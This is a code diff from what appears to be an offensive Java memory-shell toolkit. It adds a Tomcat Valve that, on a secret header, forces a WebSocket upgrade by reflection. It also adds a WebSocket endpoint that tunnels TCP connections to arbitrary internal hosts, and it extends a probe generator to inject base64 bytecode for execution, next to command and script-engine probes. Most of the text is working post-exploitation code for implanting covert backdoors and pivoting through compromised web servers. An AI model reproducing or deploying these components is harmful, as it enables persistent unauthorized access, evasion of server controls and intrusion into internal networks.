|
|
||||||
import java.io.*;
|
import java.io.*;
|
||||||
import java.net.*;
|
import java.net.*;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.channels.SocketChannel;
|
import java.nio.channels.SocketChannel;
|
||||||
import java.security.MessageDigest;
|
|
||||||
import java.security.NoSuchAlgorithmException;
|
|
||||||
import java.security.cert.CertificateException;
|
import java.security.cert.CertificateException;
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
import java.util.*;
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Random;
|
||||||
import java.util.concurrent.BlockingQueue;
|
import java.util.concurrent.BlockingQueue;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.concurrent.LinkedBlockingQueue;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|||||||
@@ -11,11 +11,12 @@ import java.io.*;
|
|||||||
import java.net.*;
|
import java.net.*;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.channels.SocketChannel;
|
import java.nio.channels.SocketChannel;
|
||||||
import java.security.MessageDigest;
|
|
||||||
import java.security.NoSuchAlgorithmException;
|
|
||||||
import java.security.cert.CertificateException;
|
import java.security.cert.CertificateException;
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
import java.util.*;
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Random;
|
||||||
import java.util.concurrent.BlockingQueue;
|
import java.util.concurrent.BlockingQueue;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.concurrent.LinkedBlockingQueue;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|||||||
@@ -8,11 +8,12 @@ import java.io.*;
|
|||||||
import java.net.*;
|
import java.net.*;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.channels.SocketChannel;
|
import java.nio.channels.SocketChannel;
|
||||||
import java.security.MessageDigest;
|
|
||||||
import java.security.NoSuchAlgorithmException;
|
|
||||||
import java.security.cert.CertificateException;
|
import java.security.cert.CertificateException;
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
import java.util.*;
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Random;
|
||||||
import java.util.concurrent.BlockingQueue;
|
import java.util.concurrent.BlockingQueue;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.concurrent.LinkedBlockingQueue;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|||||||
@@ -10,11 +10,12 @@ import java.lang.reflect.Method;
|
|||||||
import java.net.*;
|
import java.net.*;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.channels.SocketChannel;
|
import java.nio.channels.SocketChannel;
|
||||||
import java.security.MessageDigest;
|
|
||||||
import java.security.NoSuchAlgorithmException;
|
|
||||||
import java.security.cert.CertificateException;
|
import java.security.cert.CertificateException;
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
import java.util.*;
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Random;
|
||||||
import java.util.concurrent.BlockingQueue;
|
import java.util.concurrent.BlockingQueue;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.concurrent.LinkedBlockingQueue;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|||||||
@@ -1,16 +1,16 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.suo5v2;
|
package com.reajason.javaweb.memshell.shelltool.suo5v2;
|
||||||
|
|
||||||
import javax.net.ssl.*;
|
import javax.net.ssl.*;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import java.io.*;
|
import java.io.*;
|
||||||
import java.net.*;
|
import java.net.*;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.channels.SocketChannel;
|
import java.nio.channels.SocketChannel;
|
||||||
import java.security.MessageDigest;
|
|
||||||
import java.security.NoSuchAlgorithmException;
|
|
||||||
import java.security.cert.CertificateException;
|
import java.security.cert.CertificateException;
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
import java.util.*;
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Random;
|
||||||
import java.util.concurrent.BlockingQueue;
|
import java.util.concurrent.BlockingQueue;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.concurrent.LinkedBlockingQueue;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|||||||
@@ -14,11 +14,12 @@ import java.io.*;
|
|||||||
import java.net.*;
|
import java.net.*;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.channels.SocketChannel;
|
import java.nio.channels.SocketChannel;
|
||||||
import java.security.MessageDigest;
|
|
||||||
import java.security.NoSuchAlgorithmException;
|
|
||||||
import java.security.cert.CertificateException;
|
import java.security.cert.CertificateException;
|
||||||
import java.security.cert.X509Certificate;
|
import java.security.cert.X509Certificate;
|
||||||
import java.util.*;
|
import java.util.Enumeration;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Hashtable;
|
||||||
|
import java.util.Random;
|
||||||
import java.util.concurrent.BlockingQueue;
|
import java.util.concurrent.BlockingQueue;
|
||||||
import java.util.concurrent.LinkedBlockingQueue;
|
import java.util.concurrent.LinkedBlockingQueue;
|
||||||
import java.util.concurrent.TimeUnit;
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|||||||
@@ -0,0 +1,98 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool.wsbypass;
|
||||||
|
|
||||||
|
import org.apache.catalina.Valve;
|
||||||
|
import org.apache.catalina.connector.Request;
|
||||||
|
import org.apache.catalina.connector.Response;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/13
|
||||||
|
*/
|
||||||
|
public class TomcatWsBypassValve implements Valve {
|
||||||
|
public static String headerName;
|
||||||
|
public static String headerValue;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null
|
||||||
|
&& request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
String pathInfo = request.getPathInfo();
|
||||||
|
String path;
|
||||||
|
if (pathInfo == null) {
|
||||||
|
path = request.getServletPath();
|
||||||
|
} else {
|
||||||
|
path = request.getServletPath() + pathInfo;
|
||||||
|
}
|
||||||
|
Object sc = request.getServletContext().getAttribute("javax.websocket.server.ServerContainer");
|
||||||
|
if (sc == null) {
|
||||||
|
sc = request.getServletContext().getAttribute("jakarta.websocket.server.ServerContainer");
|
||||||
|
}
|
||||||
|
if (sc == null) {
|
||||||
|
throw new ServletException("Server container not found");
|
||||||
|
}
|
||||||
|
addHeader(request, "Connection", "upgrade");
|
||||||
|
addHeader(request, "Upgrade", "websocket");
|
||||||
|
Object mappingResult = sc.getClass().getMethod("findMapping", String.class).invoke(sc, path);
|
||||||
|
Class<?> upgradeUtil = Class.forName("org.apache.tomcat.websocket.server.UpgradeUtil");
|
||||||
|
for (Method method : upgradeUtil.getMethods()) {
|
||||||
|
if ("doUpgrade".equals(method.getName())) {
|
||||||
|
method.invoke(null, sc, request, response, getFieldValue(mappingResult, "config"), getFieldValue(mappingResult, "pathParams"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
this.getNext().invoke(request, response);
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||||
|
Field declaredField = obj.getClass().getDeclaredField(fieldName);
|
||||||
|
declaredField.setAccessible(true);
|
||||||
|
return declaredField.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addHeader(Request request, String key, String value) {
|
||||||
|
try {
|
||||||
|
Field coyoteRequestField = request.getClass().getDeclaredField("coyoteRequest");
|
||||||
|
coyoteRequestField.setAccessible(true);
|
||||||
|
Object coyoteRequest = coyoteRequestField.get(request);
|
||||||
|
Method getMimeHeadersMethod = coyoteRequest.getClass().getMethod("getMimeHeaders");
|
||||||
|
Object mimeHeaders = getMimeHeadersMethod.invoke(coyoteRequest);
|
||||||
|
Method addValueMethod = mimeHeaders.getClass().getMethod("addValue", String.class);
|
||||||
|
Object messageBytes = addValueMethod.invoke(mimeHeaders, key);
|
||||||
|
Method setStringMethod = messageBytes.getClass().getMethod("setString", String.class);
|
||||||
|
setStringMethod.invoke(messageBytes, value);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Valve next;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public Valve getNext() {
|
||||||
|
return this.next;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void setNext(Valve valve) {
|
||||||
|
this.next = valve;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean isAsyncSupported() {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void backgroundProcess() {
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,111 @@
|
|||||||
|
package com.reajason.javaweb.memshell.shelltool.wsproxy;
|
||||||
|
|
||||||
|
import javax.websocket.Endpoint;
|
||||||
|
import javax.websocket.EndpointConfig;
|
||||||
|
import javax.websocket.MessageHandler;
|
||||||
|
import javax.websocket.Session;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.net.InetSocketAddress;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
import java.nio.channels.AsynchronousSocketChannel;
|
||||||
|
import java.nio.channels.CompletionHandler;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.concurrent.Future;
|
||||||
|
import java.util.concurrent.TimeUnit;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/14
|
||||||
|
*/
|
||||||
|
public class ProxyWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer>, CompletionHandler<Integer, Session> {
|
||||||
|
private Session session;
|
||||||
|
private long messageCount = 0;
|
||||||
|
private AsynchronousSocketChannel currentClient = null;
|
||||||
|
private final ByteBuffer buffer = ByteBuffer.allocate(102400);
|
||||||
|
private ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
|
private final HashMap<String, AsynchronousSocketChannel> channelMap = new HashMap<>();
|
||||||
|
|
||||||
|
public ProxyWebSocket() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public void completed(Integer result, Session attachment) {
|
||||||
|
buffer.clear();
|
||||||
|
try {
|
||||||
|
if (buffer.hasRemaining() && result >= 0) {
|
||||||
|
byte[] arr = new byte[result];
|
||||||
|
buffer.get(arr, 0, result);
|
||||||
|
baos.write(arr, 0, result);
|
||||||
|
ByteBuffer response = ByteBuffer.wrap(baos.toByteArray());
|
||||||
|
if (attachment.isOpen()) {
|
||||||
|
attachment.getBasicRemote().sendBinary(response);
|
||||||
|
}
|
||||||
|
baos = new ByteArrayOutputStream();
|
||||||
|
readFromServer(attachment, currentClient);
|
||||||
|
} else {
|
||||||
|
if (result > 0) {
|
||||||
|
byte[] arr = new byte[result];
|
||||||
|
buffer.get(arr, 0, result);
|
||||||
|
baos.write(arr, 0, result);
|
||||||
|
readFromServer(attachment, currentClient);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void failed(Throwable exc, Session attachment) {
|
||||||
|
exc.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
public void onMessage(ByteBuffer message) {
|
||||||
|
try {
|
||||||
|
message.clear();
|
||||||
|
messageCount++;
|
||||||
|
process(message, session);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void onOpen(Session session, EndpointConfig endpointConfig) {
|
||||||
|
this.messageCount = 0;
|
||||||
|
this.session = session;
|
||||||
|
session.setMaxBinaryMessageBufferSize(1024 * 1024 * 1024);
|
||||||
|
session.setMaxTextMessageBufferSize(1024 * 1024 * 1024);
|
||||||
|
session.addMessageHandler(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void readFromServer(Session channel, AsynchronousSocketChannel client) {
|
||||||
|
this.currentClient = client;
|
||||||
|
buffer.clear();
|
||||||
|
client.read(buffer, channel, this);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void process(ByteBuffer messageBuffer, Session channel) {
|
||||||
|
try {
|
||||||
|
if (messageCount > 1) {
|
||||||
|
AsynchronousSocketChannel client = channelMap.get(channel.getId());
|
||||||
|
client.write(messageBuffer).get();
|
||||||
|
readFromServer(channel, client);
|
||||||
|
} else if (messageCount == 1) {
|
||||||
|
String values = new String(messageBuffer.array());
|
||||||
|
String[] array = values.split(" ");
|
||||||
|
String[] addrArray = array[1].split(":");
|
||||||
|
AsynchronousSocketChannel client = AsynchronousSocketChannel.open();
|
||||||
|
int port = Integer.parseInt(addrArray[1]);
|
||||||
|
InetSocketAddress hostAddress = new InetSocketAddress(addrArray[0], port);
|
||||||
|
Future<Void> future = client.connect(hostAddress);
|
||||||
|
try {
|
||||||
|
future.get(10, TimeUnit.SECONDS);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
channel.getBasicRemote().sendText("HTTP/1.1 503 Service Unavailable\r\n\r\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
channelMap.put(channel.getId(), client);
|
||||||
|
readFromServer(channel, client);
|
||||||
|
channel.getBasicRemote().sendText("HTTP/1.1 200 Connection Established\r\n\r\n");
|
||||||
|
}
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -8,8 +8,14 @@ public enum ProbeContent {
|
|||||||
Server,
|
Server,
|
||||||
OS,
|
OS,
|
||||||
JDK,
|
JDK,
|
||||||
|
// 字节码执行
|
||||||
Bytecode,
|
Bytecode,
|
||||||
|
// 命令执行
|
||||||
Command,
|
Command,
|
||||||
|
// 基础信息
|
||||||
BasicInfo,
|
BasicInfo,
|
||||||
ScriptEngine
|
// 脚本引擎执行
|
||||||
|
ScriptEngine,
|
||||||
|
// Filter 配置
|
||||||
|
Filter
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,8 +1,6 @@
|
|||||||
package com.reajason.javaweb.probe.config;
|
package com.reajason.javaweb.probe.config;
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.NoArgsConstructor;
|
|
||||||
import lombok.ToString;
|
import lombok.ToString;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
|
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package com.reajason.javaweb.probe.config;
|
|||||||
import com.reajason.javaweb.utils.CommonUtil;
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
import lombok.Builder;
|
import lombok.Builder;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
import lombok.Setter;
|
||||||
import lombok.ToString;
|
import lombok.ToString;
|
||||||
import lombok.experimental.SuperBuilder;
|
import lombok.experimental.SuperBuilder;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
@@ -26,6 +27,7 @@ public class ResponseBodyConfig extends ProbeContentConfig {
|
|||||||
/**
|
/**
|
||||||
* 内置执行类加载的字节码
|
* 内置执行类加载的字节码
|
||||||
*/
|
*/
|
||||||
|
@Setter
|
||||||
private String base64Bytes;
|
private String base64Bytes;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
@@ -9,7 +9,6 @@ import com.reajason.javaweb.probe.payload.JdkProbe;
|
|||||||
import com.reajason.javaweb.probe.payload.ServerProbe;
|
import com.reajason.javaweb.probe.payload.ServerProbe;
|
||||||
import com.reajason.javaweb.probe.payload.dns.DnsLogJdk;
|
import com.reajason.javaweb.probe.payload.dns.DnsLogJdk;
|
||||||
import com.reajason.javaweb.probe.payload.dns.DnsLogServer;
|
import com.reajason.javaweb.probe.payload.dns.DnsLogServer;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|||||||
@@ -7,7 +7,6 @@ import com.reajason.javaweb.probe.config.ProbeConfig;
|
|||||||
import com.reajason.javaweb.probe.config.SleepConfig;
|
import com.reajason.javaweb.probe.config.SleepConfig;
|
||||||
import com.reajason.javaweb.probe.payload.ServerProbe;
|
import com.reajason.javaweb.probe.payload.ServerProbe;
|
||||||
import com.reajason.javaweb.probe.payload.sleep.SleepServer;
|
import com.reajason.javaweb.probe.payload.sleep.SleepServer;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.asm.Advice;
|
import net.bytebuddy.asm.Advice;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
|||||||
@@ -10,6 +10,7 @@ import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
|||||||
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
|
import com.reajason.javaweb.probe.generator.ByteBuddyShellGenerator;
|
||||||
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
|
import com.reajason.javaweb.probe.payload.ByteCodeProbe;
|
||||||
import com.reajason.javaweb.probe.payload.CommandProbe;
|
import com.reajason.javaweb.probe.payload.CommandProbe;
|
||||||
|
import com.reajason.javaweb.probe.payload.FilterProbeFactory;
|
||||||
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
|
import com.reajason.javaweb.probe.payload.ScriptEngineProbe;
|
||||||
import com.reajason.javaweb.probe.payload.response.*;
|
import com.reajason.javaweb.probe.payload.response.*;
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
@@ -18,7 +19,6 @@ import net.bytebuddy.asm.Advice;
|
|||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
import org.eclipse.jetty.server.Request;
|
|
||||||
|
|
||||||
import java.lang.annotation.Retention;
|
import java.lang.annotation.Retention;
|
||||||
import java.lang.annotation.RetentionPolicy;
|
import java.lang.annotation.RetentionPolicy;
|
||||||
@@ -38,11 +38,14 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
|
protected DynamicType.Builder<?> build(ByteBuddy buddy) {
|
||||||
String name = probeContentConfig.getReqParamName();
|
|
||||||
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
|
||||||
if (Server.Jetty.equals(probeContentConfig.getServer())) {
|
String server = probeContentConfig.getServer();
|
||||||
|
if (Server.Jetty.equals(server)) {
|
||||||
getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class;
|
getDataFromReqInterceptor = getDataFromReqJettyInterceptor.class;
|
||||||
}
|
}
|
||||||
|
if (ProbeContent.Filter.equals(probeConfig.getProbeContent())) {
|
||||||
|
probeContentConfig.setBase64Bytes(FilterProbeFactory.getBase64ByServer(server));
|
||||||
|
}
|
||||||
Class<?> writerClass = getWriterClass();
|
Class<?> writerClass = getWriterClass();
|
||||||
Class<?> runnerClass = getRunnerClass();
|
Class<?> runnerClass = getRunnerClass();
|
||||||
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
|
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
|
||||||
@@ -53,12 +56,12 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
.to(runnerClass)
|
.to(runnerClass)
|
||||||
.on(named("run")));
|
.on(named("run")));
|
||||||
String base64Bytes = probeContentConfig.getBase64Bytes();
|
String base64Bytes = probeContentConfig.getBase64Bytes();
|
||||||
if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent()) && StringUtils.isNotBlank(base64Bytes)) {
|
if (StringUtils.isNotBlank(base64Bytes)) {
|
||||||
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
|
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
|
||||||
} else {
|
} else {
|
||||||
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
|
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
|
||||||
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||||
.visit(Advice.withCustomMapping().bind(ValueAnnotation.class, name)
|
.visit(Advice.withCustomMapping().bind(ValueAnnotation.class, probeContentConfig.getReqParamName())
|
||||||
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
|
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
|
||||||
}
|
}
|
||||||
return builder;
|
return builder;
|
||||||
@@ -69,6 +72,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
case Command:
|
case Command:
|
||||||
return CommandProbe.class;
|
return CommandProbe.class;
|
||||||
case Bytecode:
|
case Bytecode:
|
||||||
|
case Filter:
|
||||||
return ByteCodeProbe.class;
|
return ByteCodeProbe.class;
|
||||||
case ScriptEngine:
|
case ScriptEngine:
|
||||||
return ScriptEngineProbe.class;
|
return ScriptEngineProbe.class;
|
||||||
@@ -138,7 +142,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
|
|||||||
}
|
}
|
||||||
ret = p;
|
ret = p;
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Object parameters = Request.class.getMethod("extractQueryParameters", Request.class, Charset.class).invoke(null, request, UTF_8);
|
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
|
||||||
|
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
|
||||||
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
|
||||||
if (p == null || p.isEmpty()) {
|
if (p == null || p.isEmpty()) {
|
||||||
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
|
||||||
|
|||||||